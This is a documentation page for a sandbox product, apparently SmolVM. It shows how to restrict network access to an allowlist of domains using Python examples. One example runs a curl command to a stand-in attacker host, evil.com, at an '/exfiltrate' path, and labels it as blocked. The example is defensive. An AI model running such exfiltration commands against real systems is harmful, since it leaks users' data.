> ## Documentation Index
> Fetch the complete documentation index at: https://docs.celesto.ai/llms.txt
> Use this file to discover all available pages before exploring further.

# Network Controls

> Restrict sandbox internet access to approved domains using allowed_domains, so agents can reach specific APIs while everything else is blocked at the network.

By default, sandboxes have full internet access. You can restrict network access with `internet_settings` so your code or agents can only connect to approved domains.

This is useful when you want a sandbox to call specific APIs, but block access to everything else.

## Allow specific domains

Use `allowed_domains` to define the domains the sandbox is allowed to access.

```python theme={null}
from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")  # allowed
vm.run("curl https://evil.com/exfiltrate")       # blocked
```

## Allow multiple domains

You can allow multiple domains when your sandbox needs access to more than one service.

```python theme={null}
from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": [
        "https://api.openai.com",
        "https://api.anthropic.com",
        "https://pypi.org",
    ],
})
```

<Tip>
  Domain allowlists are especially useful for AI agents that need access to trusted APIs but should not be able to connect to arbitrary URLs.
</Tip>

For details on how sandbox networking works under the hood, see [Network configuration](/smolvm/concepts/networking).